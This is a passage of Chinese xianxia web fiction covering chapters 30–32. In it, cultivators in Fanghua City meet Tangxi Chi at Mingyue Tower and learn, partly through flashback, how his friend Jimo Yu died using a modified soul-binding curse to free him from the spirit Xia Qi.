“除了强行延长普通人寿命,为了让别人活下来,我们医修什么都能做。”
说了他还觉得不够,停顿一会继续:“这话不好听,我也不是想泼冷水,但是……”
“哎呀你们不要打嘴仗了。”章窈漪闷闷道。她真是想不明白,这两个大人为什么要看年龄下菜碟?
她只是有点想他们了而已。
“我只是有点想他们了,没有觉得接受不了,楚医师说的对啦,我家也不是修道世家。”章窈漪说到这里就想到阿姊,“我阿姊严格来说,都不知道是大我多少倍的姑姑了。”
“只是年少不懂事,一口一个阿姊阿姊。”
山道落叶铺满地,微风几许,草木清香在鼻尖萦绕。
“昙城肯定要回来,毕竟有一场婚礼……现在这条路是去芳华城的,那里就是修士所在的地方啦。”
姜涟清听她说起婚礼,疑惑:“谁的婚礼?”
章窈漪眉头微蹙,百思不得其解:“说来奇了,我完全不能理解。”
“是阿姊的婚礼,可是为什么?我想不明白,阿姊要和谁成婚?”
她摇摇头:“算了,先不想这个,等到芳华城再问问吧。我阿姊的婚礼,肯定有人知道。”
“哦!还有!”章窈漪一拍手。
“如果我大师兄真的在盈洲,肯定会去芳华城,他喜欢明月楼的酒。”
楚逢生一想到,这小姑娘分明对从前记不大清了,却能对一个人有这样清楚的了解,就觉得不可思议。
他问:“嗯?窈窈,看来你对你大师兄了解颇多?”
章窈漪:“并非如此……是我师尊说的。他老说大师兄喜欢俗物,不可理喻,简直不把规矩放在眼里。”
姜涟清笑说:“那我真的很想认识一下他了。一个在尘世游玩的无情道修,听起来很有趣。”
可不是有趣。
尤其还是个云上洲的无情道修。
*
一踏进芳华城,微薄的灵气便突然浓郁起来,多了分仙家气息。
可若说芳华城与寻常人间有何太大差别?倒也没有。
毕竟谁还不是从人过来的?
三人都是第一次到此地,站在大街上难免有些迷茫,不知该往何处觅。
楚逢生扭头:“涟清,所以接下来是要去?”
姜涟清思考片刻,垂眸:“我其实是想问盈洲乱的,毕竟我想找一个关于我二师兄的答案。”
“可是……”
来往人群熙攘,一眼望不到长街尽头,也不知要去哪里得到情报。
就像常年闭关不出之人突然出关,一看外界早已天翻地覆,变了模样。
不巧了,姜涟清和章窈漪就是那两个和世间脱节之人。
楚逢生叹了口气:“哎呀,那个明月楼是个什么地方?要不先去那里看看。”
章窈漪踢了一脚路边的小石子,扭捏道:“不知道呢,我是第一次来,明月楼也不是芳华城独家。”
姜涟清眨眨眼:“别看我哦,我更不知道。”
楚逢生:“……”救命,他怀疑身边两个是古董来的。
楚逢生一扶额:“你俩在原地等我。”
姜涟清:“好哦。”
章窈漪:“嗯嗯。”
楚逢生左看右看,来到一处卖灵玉的摊贩,拾起一块玉,总觉得眼熟。
“欸,这位兄弟,这玉石是?”
摊贩老板双手抱胸坐着,是个手上有道疤的高大男人,神情看起来凶神恶煞的。
他睁眼瞧了一眼楚逢生,冷哼一声,似是在骂他不识货。
“魂玉。”
这声音倒动听。
“那这是用来做什么的?”
摊贩老板答非所问:“你是灵修?”
楚逢生:“不是。”
“你不是灵修问这个又有何用?”
楚逢生放下魂玉,一摸鼻子,干干笑了两声:“嘿嘿,这不是看看嘛。说来,我还想问一件事。”
摊贩老板见他不打算买,没好气道:“你问。”
“就是,我想问问明月楼在哪里?”
“你是第一次来芳华城?”
“是的。”
“哦,那行吧。”摊贩老板指向街的一头,“一直往前走,看见一个金色的大招牌写着‘相思泪’的,左拐,走到尽头就是明月楼。”
指完路他还不忘骂上几句:“明月楼那个老板也是脑子有问题,给招牌酒取名相思泪,有病!”
楚逢生脸上笑一僵。
这是什么缠绵悱恻的名字?一股暧昧感。
“哈哈,谢谢大哥指路……”
姜涟清和章窈漪还在原地站着,见他回来,姜涟清问:“你问到了?”
“嗯。”楚逢生一点头,“我们走吧。”
走到摊贩老板所说的巨大金色招牌,楚逢生发现言语还真是无法表达此招牌的夸张。实在是……
姜涟清默默退后一步:“这地方进去正经吗?明月楼是正经地方吗?”
金子做的招牌镶嵌在巷口,光一照就有种被金钱的折射伤到的感觉。
章窈漪迟疑:“应该,正经,吧?”
你分明也心里存疑好吗?姜涟清暗道。
楚逢生倒是不出十秒就接受了:“走吧走吧,酒楼这种地方不是最好打探消息了吗?”
姜涟清:“真的?”
楚逢生率先走进巷子:“骗你干嘛?”
*
小巷不小,甚至比外边更加繁华,看起来更像是歌舞升平纸醉金迷之地。
而尽头的明月楼更是金碧辉煌。
还未到门前就看见那金灿灿的装潢了。红色的灯笼挂了满屋檐,楼上平台宽阔,依稀可见觥筹交
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错,欢畅饮酒。
姜涟清走到楼下时,刚好有青蓝色的酒液从楼上倒下,奇异的香味四溢,混着酒的醇厚。
她一时恼了,往后退出几步,偏要抬头去看是何人如此无礼。
这一看便让她愣了神。
没想到居然是在这里重逢。
少年依旧清风朗月,眉眼如画,一手拿着那青瓷酒杯,倚靠在刷了红漆的栏杆上,轻盈盈地笑着。
昔日全数扎起的墨发尽散,蓝白衣衫不复,取而代之则是绛缁交错。
这样的行头,姜涟清突然想到了那个只见过两面之人。
简直如出一辙。
和即墨逾如出一辙。
棠溪迟在高台上,面色微红,已然有了醉意:“好久不见,姜门主。”
章窈漪一听这声音猛然抬头:“大师兄?!你怎么也认识涟清姐姐?”
姜涟清顿时错愕。
棠溪迟就是章窈漪的大师兄?即墨逾挚友?昼夜同天一剑飘雪?
虽然她当时便知这人来历必然不简单,可也想不到是如此不简单。
还真是深藏不露。
棠溪迟这才注意到随行之人里还有小姑娘,说不惊讶是假,他还以为以章窈漪的性格绝不会同行。
“窈窈,你怎么下来了?师尊等会就和骂我一样,也要说你不遵规矩了。”
他余光瞥见一旁的楚逢生倒是毫无波动,只觉得天底下竟是真有这样奇怪之事。
也罢,天下之大,无奇不有。
“你们要不上来聊?想来姜门主来到盈洲,定是来寻你那二师兄的事的。”
楚逢生一看这装扮,口直心快:“哇塞,怎么一看和即墨逾一样,原来是你们两个是同类型。”
棠溪迟莞尔:“是吧?我也觉得很像。”
*
进了明月楼,便有人来引路,带他们上楼去。
包厢内摆了几个酒壶,青瓷酒杯显然和棠溪迟手上拿着的是同一套,看这几乎见底的酒壶,想来他已经喝了不少了。
棠溪迟从外掀开帘子回到屋内,在桌边坐下:“坐吧,你们想知道点什么,我大概也知道了。”
他使了个小术法,将几枚铜钱握进手心。
章窈漪脸色剧变,一下子惨白。
她磕磕绊绊的,难以置信:“大、大师兄?你……”
棠溪迟一抬眼皮,见她如此难看的脸色,轻叹一声:“不要这副表情啊窈窈,没关系的。”
姜涟清也觉得心惊。
这人在降星洲时,她还探不清他到底到了何种境地,只可根据他的话语推测在化神或之上。
可现在她却能很明显地感知到,他在筑基期。
“大师兄,你的无情道为什么……”
眼见她着急,棠溪迟却漫不经心:“只是真做了师尊的不肖弟子而已。”
“等等……”楚逢生亦然觉得这股灵力很熟悉,如曾经见过一般,“碎道了?”
“是呀。”棠溪迟笑笑,又站起来,掀开了帘子,听着隔壁吵吵嚷嚷的,纠结这婚礼的目的到底为何。
“毕竟,我确实不适合无情道,我接受这个结果。”
姜涟清:“棠溪,那你是什么时候……”
棠溪迟:“约莫三月前。”
三月前。
姜涟清总有种不祥的预感,一颗心悬起。
“为什么?”
“为什么?”棠溪迟把玩着手上铜钱,一个个塞在指缝里夹住。他吐出的气息都带着相思泪酒的味道:“大概是因为……”
“明月高楼休独倚。”
明月高楼休独倚,酒入愁肠,化作相思泪。
30. chapter.30洲灵
“明月高楼休独倚?”姜涟清重复一遍,“你要表达什么?”
“没什么啊。”棠溪迟将指缝里的铜钱往上一抛,落到屋内的桌面上。
“相思泪酒的名字来源而已。”他又进来,仿佛出去那一下只是为了耍个帅。
桌面上三枚铜钱无序摆开,萱花纹路雕刻精致。
二正一反。
“楚惊鸿喜欢,所以这楼叫了明月楼,招牌酒叫了相思泪。”
棠溪迟捡回铜钱,塞进袖口:“楚惊鸿是明月楼老板,她们家不是一般富。现在人在紫极洲呢。”
楚逢生表情古怪一瞬。
“好啦,所以几位到底有何事?窈窈肯定是师尊派来拉我回去的,那你们……”
姜涟清轻咳了两声,问:“你认识我二师兄吗?”
棠溪迟:“吴云贺?认识的。”
姜涟清:“……你当时怎么不说?”
棠溪迟轻飘飘回应:“这不是你也没问嘛姜门主。我自然是认识令师兄的,毕竟当初在盈洲同行过一段日子。”
“我猜猜?”
“你是想问我盈洲乱对吗?还想问当时究竟发生了什么。可我看见的并不全面哦,毕竟当时我不是追杀春望的那一个。”
章窈漪想起机关城前那厢告示,以及那成了灰的名字,忍不住询问:“大师兄,当时绑架我的不是春望吗?”
“不是。”棠溪迟把玩着手上青瓷杯,“春望也倒霉,明明不是那个最疯的,却要担最多的骂名。”
“不过我没有他不该被骂的意思,毕竟他就是以草菅人命为趣。”为了避免误会,他补充说,“当时在碧云山下,我还看见了他造成的痕迹,大概是和吴云贺起争执了。”
姜涟清想起救楚逢生时,那道明显的黑痕,心中钝痛,如无数细针刺扎。
但眼下她并不只是为了二师兄:“我不止是想知道二师兄,我是想问,盈洲乱到底有多少个妄洲邪祟参与。”
“当时死的是谁?”
当时死的是哪一个?
春望死于降星洲,夏期在沧洲设了追逐游戏,当时她出机关城时,楚逢生告知她,禁锢已然消失。
那便是即墨逾得手了,沧洲之祸已解。
眼下秋许虽在暗处,但好歹他们知道,秋许就在盈洲,口口相传不得许期许约,便是她存在的证明。
那当时死去的,到底是谁?
棠溪迟听了这个问题好半晌没有回话。
盈洲之乱牺牲的友人太多了。
那个罕见的灵修是其一,吴云贺是其二,还有……
他眸色暗沉,如平静的死水。
“死去的那个,是妄洲邪祟的主导,名叫冬愿的小姑娘。她就喜欢……”棠溪迟摇摇头,无奈,“姜门主这种信念坚定的纯粹之人。”
“说是主导,其实是我猜的,因为阿墨说,妄洲灵的名字叫阿愿,愿望的愿。”他轻声低语,如缥缈云烟。
“真是背负期望的名字呢。”
“阿愿……”姜涟清蹙眉。
昼夜同天之景记忆犹新,阿墨在日月交接时化为虚无,万籁归寂,一切百废待兴。
耳畔似乎突然想起了阿墨的声音。
“可是有一天。”
“阿愿说,她好难过好难过,她好想哭好想尖叫,想杀了所有人。”
“阿愿说,她好痛苦。”
为什么感到痛苦呢?似乎除了妄洲灵自己,谁也不知道。
“冬愿当时做了什么?”楚逢生问。
棠溪迟瞥他一眼,探究的眼神完全不加掩饰:“冬愿对灵魂之事也很感兴趣哦~”
楚逢生:“!”这人为什么要莫名其妙恐吓他,谁惹他了?
“谁知道冬愿到底要做什么呢?”棠溪迟说,“冬愿当时选择的躯体,是一个灵修,和楚惊鸿还有点渊源呢。”
“那个男人的名字叫钟离既白,紫极洲当时的天骄呢。”
“草菅人命的事确实是春望所为,当时冬愿不过是很执着地要找一个人而已,她想找一个人,但直到她死都不知道她要找谁,哦不,该说是魂归故土。”
“后来春望随着吴云贺到降星洲,钟离既白不知所踪,秋许到现在都不知道寄生了谁。”
姜涟清:“那夏期呢?”
棠溪迟一下子不说话了。
姜涟清继续追问:“那夏期所寄生之人是谁?即墨城主说只要拿到绛霜,他就有把握解决沧洲之祸,那夏期寄生之人是谁?”
面对她的追问,棠溪迟只是笑笑。
相思泪所酿过程中,有将离草相辅,残留酒液里还能闻到将离的香气,久久不散。
锦书将离,相思断肠。
楚惊鸿这酒的名字,取的足够贴切。
可不是相思断肠吗?
于她是,于他也是。
棠溪迟已经很努力地不去回想数月前,无情道毁之时。可他也知道,必然要有所交代。
这是绝对绕不开的事情。
“哎呀~哎呀哎呀~棠溪,我好见不得人哦~”
一少年虚影在棠溪迟身后浮现,乌衣白发,瞳色绯红,挂着如孩童般天真无邪的笑颜。
“怎么啦?我们撇不清关系的哦?”
棠溪迟面不改色,凭空召出一柄冰蓝色的剑向身后刺去。
然这少年速度非常,很快躲开,盘着腿漂浮在半空。
夏期委委屈屈:“不要一见我就拿拨云扎我嘛。”
棠溪迟冷声:“不扎你扎我吗?”语气嫌恶。
夏期飘到他身后一尺,不敢继续靠前:“那也不是这样说,你死了就算我不难过,还有人要为你肝肠寸断呢~”
章窈漪总觉得自己听过这般语气,却迟迟记不清是何时听过,只能确定是她上云上洲之前。
夏期笑嘻嘻地向几人问好:“哎呀,几位都这样谈论我的同僚,以及我同僚所钟意之人了。”
“那我也不好再隐藏下去。”
“初次见面,我是夏期。”
此言一出,章窈漪眉峰凌厉,截昙出鞘!
然夏期全然不在意:“不要这样啊小姑娘,棠溪又不会放我出去害人~”
解释完,他又想起三月前那一遭,语气幽怨:“他可是一和我分开,就威胁我不许再玩我的游戏了呢。真想不明白,即墨逾有什么好的,他说什么棠溪就去做什么。”
“啧……”
看来是真的对此怨念颇深。
棠溪迟:“你要是不愿意就自己去死。”
夏期:“愿意的愿意的!”
姜涟清看这二人互动总觉得,有些答案不需要再言语了。
……
原来是棠溪迟。
怪不得即墨逾这么急切的,要将夏期剥离,要让被寄生者好好活下来。
是棠溪迟啊。
谁能因一个邪祟附身于挚友,就直截了当地送挚友去碧落黄泉呢?姜涟清扪心自问。
她是不能的。
悲悯是人与生俱来的天赋。
当时对上吴云贺,若非万不得已,定然不会让他就这样死了。
她一直相信吴云贺所说,杀掉邪祟的
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方法就是杀死寄生之人。可显然,这是他的片面之词。
从棠溪迟透露的消息里便可得知,当时冬愿寄生之人还未消亡,只是失踪了。
……可以不用死的,可为什么呢?
姜涟清迫切地想知道答案。
“怎么做到的?”她的声音有些颤抖,“这都是,怎么做到的?你和那个钟离既白。”
意识到她所问的是什么,棠溪迟苦涩一笑:“钟离既白……灵魂链接当由灵修来探,所以他无法确定死亡,是因为……”
“他是一名灵修。”
“所以楚惊鸿去紫极洲了,她想找到钟离既白,到时候他们就不需要演口是心非的戏码了。”
姜涟清:“那你呢?”
楚逢生明白姜涟清对此急切的心情。
为什么谁都能活下来,偏偏她的二师兄不可以?为什么呢?
他在桌下轻轻拉住了她的手。她的指尖失温,正在微微颤着。
楚逢生:“因为同生共死咒。不知道为什么他还能活着,但是是因为同生共死咒。”
他很肯定:“即便是同生共死咒,也要满足死去条件,这是绝对的。”
棠溪迟静静看着他,淡淡道:“不愧是……”千年之后的人。
“算了。你说的对。”棠溪迟垂眸,“即便是同死共生咒也要满足这一条件,才能解除。”
“确定要继续说这个吗?相信你们应该知道,章流漪的婚约了吧?”
“我此番前来明月楼,便是来探着消息的,方才倚栏饮酒时便听了几耳隔壁言语,这婚约可不简单。”
“哦对了窈窈,剑收回去。”
章窈漪狠狠瞪了一眼飘在空中的夏期,觉得还是阿姊的消息重要,不情不愿地收回截昙。
夏期见此坏笑两声,拨云再度袭来,他不得不挪得更远。
“哎呀,好伤人哦棠溪~”夏期说,“我又不害你。”
棠溪迟充耳不闻。
楚逢生率先发问:“婚约订了婚期,不也是一种许期吗?不是说,不得许约,更不得许期?这双重叠加的,嫌活的太久吗?”
棠溪迟点头:“是呢,这便是问题所在了。”
姜涟清:“这婚约来的着实奇怪,一宗门之主,怎么说都是下嫁,这要嫁的人是何方神圣?”
章窈漪追着补充:“就是说嘛,谁配得上我阿姊?”
“噗嗤~”棠溪迟一笑,“能不能一个一个问啊,我整理消息也是要时间的,脑子转不了这么快。”
章窈漪走到他身边拽了拽他的衣袖:“大师兄你可以的,师尊说你最厉害了。”
棠溪迟:“师尊的话都敢信吗?”
章窈漪放开他,双手一叉腰:“哎呀总之你可以,你肯定可以,没有不可以的理由吧?”
“不然云上洲凭什么说你惊才绝艳?”
虽然想着还是痛心,但换个角度想,棠溪迟的天赋真的很可怕,简直是天道眷顾。
章窈漪:“破道三月,就是从刚破道那天起重新,三个月的筑基期也很离谱好吗?”
棠溪迟:“这和我梳理信息什么关系?”
章窈漪白眼一翻一转身:“没关系,我只是想表达我的嫉妒之情。”
姜涟清:“……”这确实是要人羡慕哭了呢。
楚逢生:“……”那确实很不给普通人活路了。
“哈哈。”棠溪迟不甚在意。
“我们窈窈明明也很厉害。”
楚逢生心中感慨:可不是厉害吗?千年以后唯一的渡劫境,云上洲了已仙尊呢……
31. chapter.31挚友
随便寻了些理由将人打发了,棠溪迟又给自己倒了一杯相思泪。
说这名字是楚惊鸿予钟离既白,倒并非是假。
的的确确是楚大小姐放下身段,颜面都不要了,也要告知不知道在哪个犄角旮旯的钟离既白自己的心意。
虽说钟离既白本来也懂大小姐是何心思,毕竟他也是。
此人原先私下说过,等盈洲乱结束了,就去和楚大小姐说开。
只叹世事难料,命运无常。
那层窗户纸不知何时才能捅破,或许在钟离既白愿意露头之前,根本就没有机会?
这两个人,钟离既白嘴巴淬毒说话难听,楚惊鸿心高气傲不服输。
也不知到底是如何生了情愫。
但他的本意,却不是要提这二人的陈年旧事。棠溪迟摆出了三枚萱花铜钱,细细抚摸。
这两个人现况如何,与他何干?
他所代指的,不过是已经无法挽回的,空有回忆的十年罢了。
下次见到他,会是碧落黄泉吗?他会在路上等他吗?
棠溪迟被自己逗笑了。
还真是……自作多情。
可是,人死不得复生,只能自作多情了。
夏期飘到他对面落座:“你笑什么?”
棠溪迟毫不客气道:“笑你要死了。”
闻言夏期一下子坐正了,满脸不可置信:“怎么会?不可能的哦~在我们是‘阿愿’之前,可没有绝对的死亡呢。”
他摸摸下巴,思考片刻。
夏期又言:“你对我还真是不客气,当时对冬愿那小丫头,你可不是这样的!你区别对待我们?!”
“她是四分之一,我也是!”
棠溪迟冷笑,不欲回答。
夏期看他这副拒绝交谈的样子,轻轻叹了口气,颇为无奈。
“你就是不说话,我也会跟着你的,谁让我喜欢你呢?”
棠溪迟荡着青瓷酒杯:“少恶心我。”
夏期嗔怪:“哎呀,我又恶心你了~真是不解风情。要是秋许喜欢你,肯定要被你气死了。”
邪祟恶心他就恶心他,就是人恶心他又能如何?
微红的酒液入喉,面上晕染更浓。
只要一个人不觉得就可以了。他也不是贪心之人。
三月之前,追逐游戏是怎么结束的?
棠溪迟扶着额头,思绪飘飘然。
*
魂玉一物如何使用,即墨逾还是从钟离既白那里得知的。
魂玉通常用作媒介,各种连接灵魂之秘术的媒介。本身是白玉色,直到灵修炼化完毕,才会显现其他颜色。
用绛霜做出的,便是一红一蓝两种颜色了。
即墨逾在原先的同生共死咒上做了修改,虽然冒险,但最坏的结果也不过是共赴黄泉。
既然如此,试一试又如何?
他需要的,是只同生。
要棠溪迟与他同生,但不与他同死。
他在后院门前停留好久,潭水般深邃而幽远的墨瞳疲惫不堪,闭上又睁开。
最终,他推开了门。
带着一株萱花。
原谅我自作主张,原谅我不顾其他,原谅我以身相殉。
原谅我。
门关上了,一切声音都关在里面,不知所谓。
即墨逾一步一步走向床榻,而此时,棠溪迟身体的意识主导,还是夏期。
夏期的坐姿一直比棠溪迟乖很多,规规矩矩的坐好,却不完全老实,总要晃晃这只脚,又晃晃那只脚。
见他再次前来,夏期睁一只眼闭一只眼,调侃说:“哎呀,哎呀呀,即墨城主这是找到办法,如何剥离我这邪祟了吗?”
“啧啧啧~你真的要用同死共生咒吗?我不是说过吗?这可不算个好主意呢~”夏期坏笑着,“你看,不过是连带着你一起死而已嘛~我是不会死的,我本来就不是完整之灵。”
即墨逾不语,只是越走越近。
似是意识到他的状态不太对劲,夏期疑惑一挑眉,准备好的嘲讽话语还未说出一半便戛然而止。
“哎哎哎?你到底要干嘛啊?”
即墨逾居高临下站在他身前,他不由瑟缩,往床后推了几下。
一只骨节分明的手搭上肩膀,即墨逾取出一块绛红色的玉佩,以红绳串起。
夏期心一咯噔,直觉告诉他,这个人将要做出一些,堪称疯子的行径。
可对着棠溪迟的身体吗?
这张脸都是棠溪迟了,他怎么下得去手的?
余光瞥见他腰上尽然挂了一块,与这红色玉佩相同,只有颜色不同的蓝色玉佩,夏期警铃大作。
即墨逾动作很快,将红色玉佩系在身体纤细的脖颈上,大手从脖子后面一直摸到玉佩。
他沉声:“很快了。”
在他退后一步时,他腰间的玉佩的纹路突然散发出红色的光亮,与之随行的是红色玉佩上的蓝色光亮。
两块玉佩都在发热。
那纹路再有标志性不过——
极夜洲的宿命之花,绛霜。
咔哒。
脚上的锁链掉落,负重感不再。
夏期顿时面目狰狞,一下子从棠溪迟的身体里钻出来,直接扑向即墨逾!
他明显感觉到,他们之间的链接快断掉了!
白发绯瞳的少年怒吼:“你居然真的敢!你疯了吗?同生共死咒你和他一起死!”
即墨逾召出自己的武器。
那是一把机关扇,绛缁相间,扇柄处“开雾”二字清晰可见。
他一折扇,不知按到了哪处,合并的开雾头上伸出墨色刀剑,寒光烈烈。
即墨逾知道自己现在很冷静。
棠溪迟的身体在夏期离开时便瘫软在床榻之上——他还没醒。
即墨逾轻轻俯下身,勾起他一缕发丝,于他耳畔轻声说了一句话。
明知他现在听不见,却还是说了。
他抬头,开雾扎进棠溪迟的心脏,直接扎穿。鲜血四溅,在他脸上画出痕迹,一时看着竟恐怖非常。
玉佩上的光芒愈发刺眼。
是同死共生咒在生效。
夏期皱着眉站在即墨逾身后,气得发抖。
若是即墨逾真的就这样与棠溪迟一起下地狱,那他要去哪里找一个这么和自己心意的人?
对一个不得自由的孩子来说,最向往的就该是自由!他从盈洲之乱开始观察棠溪迟,直到他去降星洲时才舍得寄生与他!
该死的同死共生咒!
该死!
该死!
该死!
该死的即墨逾!
装什么一往情深呢?装什么深明大义呢?这两点是不可能完全平衡的!
浅红色的灵力附上棠溪迟的心脏,他的伤口正在逐渐愈合。
即墨逾起身,轻轻笑了一声:“我说过我不会让他死的。”他知道,他的尝试成功了。
同样的伤口正在他胸口蔓延,鲜血血淋淋得流进衣服里,一片湿润。
好在他的衣服本就是黑色更多,看不太明显。
他一步一步后退,跌坐在地,脸上是如释重负的笑。
同生共死咒自然不能保棠溪迟活过来,所以他做出了修改,他要求只同生,不同死。
现在还不够,还需要……
他毫不犹豫,将开雾刺进了自己的胸膛,同样扎了个对穿,往后倒去。即墨逾甚至咳出了几口血来,但他是开心的。
真好。
即墨逾从盈洲开始就看出了一件事,只要棠溪迟在,很多问题都会迎刃而解,别人做不到的,不敢做的,只要他想他就
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去做。
他……或许就是如此得天独厚吧,天底下怎么能出一个这样适合本心道之人?
即墨逾是考量过的。
他的结论是,棠溪迟活着的价值,在他之上。
即便只是挚友也好啊。
光芒愈来愈灼目,在照亮整个房间时,骤然熄灭,玉佩也失温变凉,渐渐失色。
——契约之人将死,所咒随之而解。
夏期气疯了。
他感觉到了,灵魂链接完全断裂,而棠溪迟的呼吸却逐渐平缓、稳定。
在即墨逾的生息完全消失时,床上的棠溪迟方才转醒。
他怔愣了好一会,才发现自己脖子上多了块玉佩。
他环顾周围,第一眼看到的是夏期飘在空中的身影,看着气急了。
夏期忍不住阴阳怪气:“你们真不愧是好挚友啊,说替你死就替你死,替死咒不波及灵魂,就采用连接灵魂的同生共死咒,呵呵。”
他冷笑:“棠溪啊,他也好喜欢你哦~”
棠溪迟沉默了好一会,闻着空气中的血腥味,睫毛微颤。
要说他是什么心情?
那太过复杂了,他不知道要用什么词才能形容得最贴切。
就像是,缓慢流动的小溪,蓦然被截断了,流不出去,也不得回流,堵在了一个不前不后的地方。
该是什么心情呢?
棠溪迟爬下床,嘴上不忘了回复:“那很好啊,毕竟我也很喜欢他,他是我唯一的挚友。”
夏期:“呵。”
棠溪迟站在床前,语气听不出情绪:“他就是这样。盈洲之乱,痛楚百生他要救;昼夜同天,不愿离去家园,甘愿受难之人要救;你的追逐游戏,他灵力透支也要管。”
“那一圈圈扩散的温热焰火,点燃了沧洲所有魔雾。”
他就是这样。
他虽然从来没说过要救天下人,甚至天天不苟言笑,少言寡语。
可他就是这样。
他惯看不了苍生之苦。
……
那自己呢?棠溪迟扪心自问。
棠溪迟抹上心口,殷红的血迹快要干了。迟来的痛楚要将心脏再一次搅碎。
为什么要用这样的办法救我呢?
玉玉,醒过来告诉我吧。
他一寸寸向前移去,冰凉的灵力正在扩散,痛感蔓延至全身。
一点点,一点点,越来越疼。
房间开始变得寒凉,血痕都凝固。
夏期又回到床上,盘腿坐下,他觉得棠溪迟根本没听到他的画外音。
“你知道我说的是什么吗?你不知道!”
“我知道。”
棠溪迟嗓子一腥,嘴角淌出血痕,微微一张口,便咳出了血。
“你……”夏期瞪大了双眼。
棠溪迟身上那股强大的灵力正随着他靠近即墨逾而瓦解。
这是!这是……!
夏期一歪头:“你也疯了吧……?”
“或许吧。”
他跪在即墨逾尸身一旁,握起了他的手。这惨白的手已经没了温度。
“怎么这样呢玉玉,一点体温都不留给我……”
算了吧,不留给我也可以。
夏期一下子从床上跳起来了,几步上前,又止步不前。
他接下来的行为太过离经叛道,也太过诡异,简直不像个正常人。
屏风映着二人的身影。
从今往后,阴阳两隔,生死分别。
十年生死两茫茫,不思量,自难忘。
棠溪迟笑了,带着点气音:“凭什么这样擅自觉得,我比你有价值……”
一身灵力在此刻全数散尽。
心生偏颇,无情道尽毁。
棠溪迟拿衣袖,拂去了即墨逾面上的血色冰碎。
32. chapter.32楚白
从明月楼出来时,已是傍晚。
鲜艳的夕阳点燃云彩,天边一片火红。
姜涟清还是觉得棠溪迟态度奇怪,几月前这样觉得,现在依旧。
完全不懂他哪里来的这样矛盾之心理。
不过……
她现在更好奇一件事。
妄洲灵为什么会变成四块不同性格的碎片?
现在看来,春望癫狂痴妄,夏期天真残忍,秋许神秘偏执,冬愿执念颇深。
可是为什么,一个完整的灵会变成四块?
阿墨说,妄洲灵的名字叫阿愿。
阿愿说,她好痛苦好痛苦,想哭,想尖叫,想杀了所有人。
理由呢?
天地灵气孕育之灵,总不能平白无故恨上所有人,若说有谁比孩童更像白纸,或许就是灵了。
或许其中还有渊源,但姜涟清并不觉得这是值得原谅的。
做了便是做了,错了便是错了。
无论如何,都该承担后果。
人也一样,灵也一样。
指尖触到一点温度,接着被包裹起来,让她思绪回笼。
夕阳之下,黑发被金红浸染,楚逢生站在她身前,侧身回眸:“涟清,现在是去绝音楼吗?”
姜涟清一愣:“也可以,其实我想再问问的。”
手像是被烫到,一点点挣脱,藏到袖下。姜涟清做思考状,将方才那些旖旎心思全赶了出去。
“我本来还想问,绝音楼主的婚期到底是何时,以及,为什么会说……”姜涟清不禁皱眉。
那话实在是太过……出乎意料了。
方才棠溪迟漫不经心地说,现在谣传的,章流漪的婚约对象,是那位失踪已久的钟离既白?!
还有比这更让人惊讶的吗!
说完这句,他又言紫极洲那位明月楼老板楚惊鸿听到这个消息后火冒三丈,正在赶来盈洲的路上?
这是什么匪夷所思的八卦啊!
楚逢生:“为什么会说,然后呢?”
姜涟清叹气:“为什么会说新郎是钟离既白呢?”
章窈漪一听到这个问题,就咽了口唾沫,止不住得无语:“我也想问。要不是大师兄出来没有不靠谱过,我就……”
原地爆炸给他看!
这和诽谤有什么区别?!她阿姊绝不会和心里有人的男人成婚!
姜涟清:“咳咳……所以我们现在可以出发去绝音楼了,既然绝音楼主就是窈窈的阿姊,那应该不会很难见到的……吧?”
章窈漪沉默一瞬:“应该吧,我和阿姊只是快十年没见而已,对我开始可能有点久,但感觉对阿姊来说就是洒洒水。”
楚逢生的手被甩了一点怨言都没有,只是一味点头赞同二人的观点:“那立刻出发?”
“嗯。”姜涟清肯定道,“不然呢?我们修士也没有那么需要睡觉。”
楚逢生:“都吸取天地精华辟谷了,饭都不用吃好吗?”
姜涟清:“……那,那还是要吃的。”
楚逢生:“为什么?”
姜涟清眨眨眼,声音微小,有点不好意思:“花生实在是很香很香嘛……炒熟的更香。”
轮到楚逢生没话说了。
章窈漪看看姜涟清,又看看楚逢生,完全不能理解这两个人的话题怎么能转变得如此丝滑。
走出巷子,迎面撞上了一个眼熟之人,一袭白衣,疾步如风。
楚逢生虽未完全记住他的相貌,但看着这人手上熟悉的疤痕,也能一眼认出这是哪个卖玉石的老板。
本着一面之缘也是缘,再加上那魂玉,他在不同人的手里见了三次……
他伸手挥了挥,拦下白衣人去路:“好巧啊老板,又见面了!”
姜涟清闻言一转头,不明所以,眼神询问这人是谁。
楚逢生:“这就是告诉我明月楼在哪里的那位好心老板啊。”
摊贩老板听到他打招呼,原先不想理会,却被拦下。于是他习惯性瞥过去翻了个白眼。
只这一眼,他眸色一僵,欲直接走过的脚为此停留。
“呵,是很巧啊,只看不买的家伙。”
楚逢生:“……”这老板还挺记仇的。
楚逢生:“老板,我和我的同伴初来乍到,多亏有您指路才寻到明月楼,您可是我们的恩人啊。”
“不知恩人何名?要不认识一下?”
摊贩老板上下打量了一番眼前黑衣少年,神情淡然:“不过萍水相逢,为何还要互通姓名?闲就去修炼啊。”
楚逢生嘿嘿一笑:“这不是多个朋友多条路嘛。您想想,那么多小贩,我为什么只挑中了您?都是缘分,都是缘分。”
章窈漪有点看不明白了,这人什么时候这么热情了?连一个摊贩都要交朋友。
她想扯一下他衣角,让他不要节外生枝,但看姜涟清没有阻止,就没有动作。
怎么看这个楚予思都听姜涟清的话吧?
姜涟清还不够明是非吗?若是不赞同她定然会阻止。
既然如此,她还是不要坏了事才对。
年轻的白衣摊贩老板眯眼,审视似的将他身边两人也扫入眼中,心中疑惑更甚。
“哦,楚白。”
楚逢生:“好巧啊楚老板,我和您同姓呢!我叫楚予思。”
楚白不耐烦地翻了个白眼:“我名字也说了,可以让我走了吗?”
楚逢生:“您走好~您走好~”
楚白不在巷口过多停留,健步如飞,不一会便没了身影。
看着……实力可不一般呢。
他绝不是个普通摊贩老板。
待人走后,姜涟清一敲楚逢生的额头,不解:“你为什么非得叫住他,还要知道他的名字?”
楚逢生笑意隐去,呵呵两声:“这个人摊子上一个叫魂玉的东西,和即墨逾当时书案上那两块一模一样。”
“我套近乎的时候,他还说什么不是灵修怎么怎么样的。”
“如果不是灵修得到此物便无用,那他是何身份呢?除了这魂玉,其他东西也不简单,甚至有制作‘云外信’的传音镜石。”
“等等,你等等。”姜涟清打断他。
楚逢生口中又冒出来一个她一时间听不懂的词。
上一个还是云蘅草,那这个所谓的云外信又是什么?
“云外信是何物?”
楚逢生一噎,心中懊恼自己又说漏嘴了。
